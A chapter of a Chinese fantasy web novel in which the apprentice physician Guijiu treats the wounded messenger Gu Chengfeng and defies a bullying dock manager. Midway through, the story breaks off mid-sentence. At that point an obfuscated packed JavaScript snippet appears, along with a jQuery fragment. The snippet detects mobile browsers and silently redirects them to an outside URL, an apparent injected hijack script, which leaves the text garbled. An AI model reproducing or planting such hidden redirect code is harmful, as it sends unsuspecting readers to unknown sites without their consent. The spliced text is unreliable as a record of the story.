归九蹲下身,卷起袖子清扫出一块木地板,端方地盘腿坐了下来。
她拍拍信使肩膀,友好地问:“你叫什么来着?哦,顾呈风,你好呀,我是来接你回太医院的。小姜院首他本人随二殿下去往铜玉山了,眼下,姚师父是皇都太医院的临时话事人,我呢,是他的副手、学徒,叫我归九就好。”
嗯。
小神仙们都是如此开门见山的。
顾呈风叹了口气:“姚师父人呢?”
归九:“他忙,估计还被集市上的人流堵在应门桥呢。”
病怏怏的青年信使准确地别过脸去,看向灯火通明的应门桥,火光落在他眼底,莫名映出了几分凄凉意味:“姚师父就这么把我丢给你了。”
归九:“怎么说话呢?我医术不好吗?”
顾呈风皱了皱眉:“姑娘,你扎过我一次了,疼。”
归九笑道:“疼了才有效果啊。”
此言一出……
围坐在一旁的纤夫们锤着小高肩膀放声大笑,陪侍左右的老船工和翁一脸紧张,白眉毛几乎竖飞了起来,颤抖地瞪视归九,满脸都是“你们药师都是骗子”的警惕之色。
归九:嗨呀,那真是不好意思哦。
“好吧,”骗子姑娘笑眯眯地举起双手,向众人示意自己指间、袖中都没有藏针,然后她低头遗憾地看了一眼自己湿漉漉的衣摆,扬手招呼面汤铺子的老板,要了一些酒和布条,笑容纯良地问,“那我先替姚师父给你包扎一下伤口嘛?”
顾呈风看了她一眼。
他眼中有沉沉流光划过,湿漉漉的,让归九想起了小时候窝在族主怀中的自己。
但是,有些事是拖不得的。
归九捡起手边玉石,把它塞入顾呈风手中:“替我拿着。”
顾呈风:“嗯?”
他抬眼看向归九,眸光慵懒,神情闲适,明明对上了一个仅有两面之缘的陌生姑娘,两次把身家性命交托于她手中,且这个姑娘神情中还有那么一点狡黠的不怀好意,却似乎毫无介怀之意。
归九咳嗽一声,端庄地问:“你最早是什么时候发现自己伤口不愈合的?”
“七年前。”
归九:“那个时候,你可曾接触过长老院的什么东西?”
顾呈风沉吟了一会。
正是此刻。
归九拎起烈酒,揭开封口,当机立断地倾倒在伤口上,清冽酒水流过不愈合的血肉,燃起烈焰灼烧般的刺痛,让顾呈风当即捏紧了手中玉石。
青年信使闷哼一声。
和翁勃然大怒:“你做什么?”
归九没有理会老船工,她从袖袋深处摸出一枚扁针,祝明火舌一舔,“唰唰”两刀,在周围众人都没反应过来之际,削去了被黑色灵力缠绕的腐肉。
“咔嚓。”
那块玉石被活生生捏成了两半。
归九默默咋舌。
冷汗湿透了青年信使的衣襟,众人都有些不忍卒睹,但顾呈风很快回过神,礼貌地朝她绽开一个苍白笑容。
他甚至还道了声谢:“没关系,剜去腐肉而已,你可以直接下手的,我不太怕疼。”
话是这么说。
这男人的眼神中却明晃晃地写着“你明明可以直接一刀攘死我的,下次不必假意安抚了”。
归九:……
俗话说,要俏三分孝。
这个面色苍白的病人笑起来时,有那么一瞬间,夜间跃动的烛火映入他瞳孔中,明黄光彩如优昙花一般转瞬即逝,虽然短暂,却正因此令在场的小高、和翁之流都心中戚戚。
老船工和翁眨了眨眼,几乎要落下泪来。
归九额前青筋微妙地凸了一凸。
嗯咳。
怎么感觉自己莫名其妙成为辣手摧花的罪人,哦不,罪医了呢?但她又不好意思多说什么,只能默默忍了周围人的谴责视线,扯开干净布条,比对伤口,为这位过于养尊处优的病人重新包扎。
伸手绕到他肋骨下方不太方便,归九起身喊了和翁,预备请老人家帮忙,把人搀扶起来,布条绕到后背捆扎固定。
就在这时,她突然被从身后推了一下。
归九第一反应是“糟糕,这下彻底惹恼老船工了”,然而转过身时,却看见了一个陌生面孔。
是落货码头上的管事人。
唔,也不算是全然的陌生面孔,半个时辰之前,玉石大船还在湍急江流中随风浪摇摆的时候,这位原地瘫坐的管事人还十分机灵地称赞归九是“来救我们的神仙”呢。
但管事人现在似乎不认识她了。
管事人换了一身漂亮的绸布长衫,低声呛咳一声,虚虚搂了一下被他自己伸咸猪手推倒的归九,翩翩然道:“药师姑娘,小心别摔倒了。”
归九:“有事说事。”
管事人被“药师姑娘”一肘肘回木制平台边缘,失趣地碾碾手指,合袖垂眼道:“各位,起来干活了。先领工牌,每人搬运二十筐玉料,送到小绍溪最上游的玉料仓库,听到没有?”
他挥挥手,召唤一个小童捧来装满竹签的箩筐,轻蔑地倒在面汤铺子的地面上。
归九皱了皱眉。
但小高习以为常地蹲下身,捡了一枚“竹签工牌”,默默应是。
管事人得意洋洋地转转脑袋,环顾四周臣服于他的码头纤夫们,一眼看见了浑身血水脏污的顾呈风。他看见这位夸父信使靠坐在板凳边,气息微弱
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17497688|202577||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,瞬间升起一种奇怪的居高临下的优越感。
他捻起衣袖,横眉怒目地问:“怎么有伤患?啧,受伤的人能做工吗?是谁准许他占此处空地休息的?”
纤夫们面面相觑,都不敢作声。
“你,你去,”管事人伸手推搡了一下站得最近的小高,顺口吩咐道,“把这个人扔到杂物房去,今夜关死房门,其他人也是,凡是不持有码头工牌的人统统给我关押起来,听到没有?”
“不行。”归九握住了小高的手,抬眼看向管事人。
话未说完,就被小高低声打断:“姑娘,慎言。”
归九何时慎言过。
她捏住小高的手,极轻极缓地抽走了“竹签工牌”,在码头管事人眼前一寸距离虚虚一晃。
管事人遽然后退了两步。
归九欺身上前,挡住顾呈风,把竹签插在了管事人的长衫衣襟上。
管事人:“你干什么?”
归九:“我们刚刚已经做过工了。在你们退回应门桥的时候,是我们抛纤绳拉住了玉石大船,风浪大到即将掀翻大船时,是在这里休息的夸父们牺牲自己的船,把玉石大船撞上了岸……”
管事人冷哼一声,气恼地打断道:“那又如何?”
归九挑眉:“码头上干活也讲究轮班呢,他们已经保下了这艘玉石大船,足够向岐黄大长老回报了,现在,我的病人需要休息,就算该轮到你来干活儿了。”
管事人:“荒谬!”
归九眉眼弯弯地笑着反问:“为什么你觉得荒谬呢?是因为阁下身为整个落货码头的主事人,惊讶地发现自己在危机中毫无用处,特别荒谬么?”
管事人撇了撇嘴。
他甩了甩衣袖,眼中划过一丝狠厉:“你这女子,好不识趣。”
归九:“嗯呐。”
管事人:“你——你究竟是哪里来的乡野粗俗之人?你是谁的手下?姚平吗?呵,我就知道又是这群骄横的城门守卫。”
他面朝小高“啐”了一口,恶狠狠道:“你们这些人眼中还有没有尊长,有没有我这个落货码头的真正长官?”
归九哂笑了下。
她再进一步,连小高一起挡在身后,然后,双手交叠,端庄地行了一礼:“我是太医院的人。”
“皇都太医院?”管事人冷哼一声,挥挥长袖,三分嘲讽三分薄凉地道,“我还当你是哪个仙门大族的二小姐呢?原来是太医院的药师学徒?呵,这世道真是,谁家的阿猫阿狗都敢爬到老子头上啦?你们不就是个替岐黄大长老炼丹的——”
归九:“正是。在下备了一份医案,正打算面见岐黄大长老,您不是打算找我的长官算账么?不然我们一起去吧?”